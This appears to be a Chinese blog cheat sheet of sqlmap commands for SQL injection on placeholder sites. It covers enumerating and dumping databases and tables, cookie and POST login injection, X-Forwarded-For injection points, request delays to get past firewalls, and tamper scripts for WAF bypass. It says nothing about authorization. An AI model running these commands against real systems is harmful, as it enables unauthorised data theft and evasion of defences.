sql注入攻击sqlmap-2
- 2020 年 3 月 10 日
- 笔记
sql注入攻击sqlmap-2
cn0sec 2020-02-28
access注入
sqlmap.py -u "url" ==检测 sqlmap.py -u "url" --tables ==猜表 sqlmap.py -u "url" --columns -T "表名" ==猜字段 sqlmap.py -u "url" --dump -T "表名" -C "字段,字段" ==暴表里面的字段的内容
Mysql数据注入
sqlmap.py -u url --privileg ==查看权限(root什么什么的) sqlmap.py -u url --is-dba ==判断是不是root权限 sqlmap.py -u url --dbs ==获取数据库 sqlmap.py -u url --tables -D "数据库名" ==获取当中的数据库的表 sqlmap.py -u url --columns -D "数据库名" -T "表名" ==获取数据库 表中的字段 sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段" ==获取数据库表的字段里的内容
Cookie注入
注入点:http://xxx.com/1.php?id=9 sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --table --level 2 ==暴表名 sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --columns -T "表名" --level 2 ==暴表的字段 sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 ==暴表的字段内容
默认情况下SQLMAP
只支持GET/POST
参数的注入测试,但是当使用–level
参数且数值>=2
的时候也会检查cookie
的参数,当>=3
的时候将检查User-agent
和Referer
。 利用sqlmap cookies
注入突破用户登录继续注入 先把用户登陆的cookie
拿到,可以在收藏夹添加一个链接cookies
属性:名字自己取 javascript:alert(document.cookie)
,需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了
在谷歌浏览器,按F12-->
找到Application-->
选择其中的Cookies-->
最后可以在里面找到对应的值可以了。
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入
post登陆注入 mssql
sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs ==获取数据库名 sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名" ==列表 sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名" ==暴字段 sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名" ==暴字段内容
我们在使用Sqlmap
进行post
型注入时, 经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite
来使用sqlmap
, 用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www.xxx.com /Login.asp 2. 配置burp代理以拦截请求 3. 点击login表单的submit按钮 4. 这时候Burp会拦截到了我们的登录POST请求 5. 把这个post请求复制为txt,然后把它放至sqlmap目录下 6. 运行sqlmap并使用如下命令:`./sqlmap.py -r search-test.txt -p tfUPass` 这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而用-p指定注入用的参数。
伪静态注入
注入点:http://xxx.com/Index/view/id/40.html (注意:要加个* 哪里存在注入就加上 * 号) sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dbs ==获取数据库名 sqlmap.py -u http://xxx.com/Index/view/id/40*.html --tables -D "数据名" ==获取数据库当中的表 sqlmap.py -u http://xxx.com/Index/view/id/40*.html --columns -D "数据名" -T "表名" ==获取数据库的表中的字段 sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" ==获取数据库的表中的字段内容
请求延时(一般突破防火墙)
第一种方法:sqlmap.py -u url --delay 2 (注意:2是两秒的意思,也就是说2秒访问一次) 第二种方法:sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思) 可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3
利用文件来注入
GET /?id=1 HTTP/1.1 Host: www.why25.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 x-forwarded-for: 1*(存在注入) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638 Connection: keep-alive Cache-Control: max-age=0 星号(*) 指定注入点
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1 注意: --level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的
sqlmap遇到url重写的注入
sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2“ 哪里存在注入就加上 * 号
sqlmap 编码绕waf注入
sqlmap.py -u http://xxx.com/1.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py
编码脚本自行加载
sqlmap编码脚本
sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
其中常用到的bypass脚本绕过SQLMAP主要两个脚本: space2hash.py ,对于MYSQL数据库 4.0, 5.0注入 space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入 首先确定目标数据库版本,然后选择相应的脚本。 -v 3 --batch --tamper "space2hash.py" 还有其他一些插件: encodes编码 ——charencode.py base64编码 —— base64encode.py 替换空格和关键字 —— halfversionedmorekeywords.py
SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。